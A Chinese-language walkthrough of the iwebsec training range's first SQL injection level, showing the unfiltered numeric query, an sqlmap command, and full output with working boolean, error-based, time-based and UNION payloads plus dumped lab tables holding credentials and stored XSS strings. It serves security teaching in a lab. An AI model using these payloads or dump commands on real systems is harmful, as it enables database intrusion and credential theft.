天天看點

iwebsec靶場 SQL注入漏洞通關筆記1- 數字型注入前言第01關 數字型注入總結

目錄

文章目錄

前言

第01關 數字型注入

1.源碼分析

2. sqlmap滲透

總結

前言

iwebsec靶場的SQL注入關卡共13關SQL注入漏洞,覆寫了數字型注入、字元型注入、報錯型盲注、布爾型盲注、時間型盲注以及各種過濾繞過的注入,外加上二次注入,是SQL注入知識點覆寫較為全面的一個靶場。

iwebsec靶場 SQL注入漏洞通關筆記1- 數字型注入前言第01關 數字型注入總結

第01關 數字型注入

打開靶場,url為 http://192.168.71.151/sqli/01.php?id=1 如下所示

iwebsec靶場 SQL注入漏洞通關筆記1- 數字型注入前言第01關 數字型注入總結

1.源碼分析

如下所示,對傳入的參數id并未進行過濾。

sql語句為$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

故而存在數字型注入

iwebsec靶場 SQL注入漏洞通關筆記1- 數字型注入前言第01關 數字型注入總結

2. sqlmap滲透

基于iwebsec靶場的SQL注入筆記主要以sqlmap工具自動化滲透為主,故而滲透時使用sqlmap工具,指令如下

sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
           

 如下所示注入成功,發現union query查詢的數字型注入

iwebsec靶場 SQL注入漏洞通關筆記1- 數字型注入前言第01關 數字型注入總結

 完整互動如下

[email protected]:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:20:12 /2022-11-24/

[21:20:13] [INFO] testing connection to the target URL
[21:20:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:20:13] [INFO] testing if the target URL content is stable
[21:20:13] [INFO] target URL content is stable
[21:20:13] [INFO] testing if GET parameter 'id' is dynamic
[21:20:13] [WARNING] GET parameter 'id' does not appear to be dynamic
[21:20:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:20:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:20:13] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:20:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:20:13] [WARNING] reflective value(s) found and filtering out
[21:20:14] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:20:14] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[21:20:14] [INFO] testing 'Generic inline queries'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:20:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                                     
[21:20:14] [INFO] testing 'MySQL inline queries'                                                                                                                                                                                           
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'                                                                                                                                                                      
[21:20:14] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                                                                                          
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries'                                                                                                                                                                                
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'                                                                                                                                                        
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'                                                                                                                                                                  
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'                                                                                                                                                         
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:20:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:20:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:20:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:20:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:20:24] [INFO] target URL appears to have 3 columns in query
[21:20:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[21:20:24] [INFO] fetching current database
current database: 'iwebsec'
[21:20:24] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:20:24] [INFO] fetching current database
[21:20:24] [INFO] fetching tables for database: 'iwebsec'
[21:20:24] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[21:20:24] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[21:20:24] [INFO] fetching columns for table 'users' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[21:20:24] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[21:20:24] [INFO] fetching columns for table 'user' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[21:20:24] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[21:20:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | [email protected]     | pass1    | user1                                                |
| 2  | [email protected]     | pass2    | user2                                                |
| 3  | [email protected]     | pass3    | user3                                                |
| 4  | [email protected]     | admin    | admin                                                |
| 5  | [email protected]           | 123      | 123                                                  |
| 6  | [email protected]          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | [email protected] | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[21:20:24] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[21:20:24] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[21:20:24] [WARNING] your sqlmap version is outdated

[*] ending @ 21:20:24 /2022-11-24/
           

實際上在進行注入時,選擇的指令是--current-db --dump這樣就可以将目前資料庫的内容全部列印出來,相對而言更加快捷。

總結

SQL注入主要分析幾個内容

(1)閉合方式是什麼?iwebsec的第一關關卡為數字型,無閉合

(2)注入類别是什麼?這部分是普通的數字型注入,使用union法即可注入成功

(3)是否過濾了關鍵字?很明顯通過源碼,iwebsec的數字型關卡無過濾任何資訊

了解了如上資訊就可以針對性進行SQL滲透,使用sqlmap工具滲透更是事半功倍,以上就是今天要講的數字型注入内容,初學者建議按部就班先使用手動注入練習,再進行sqlmap滲透。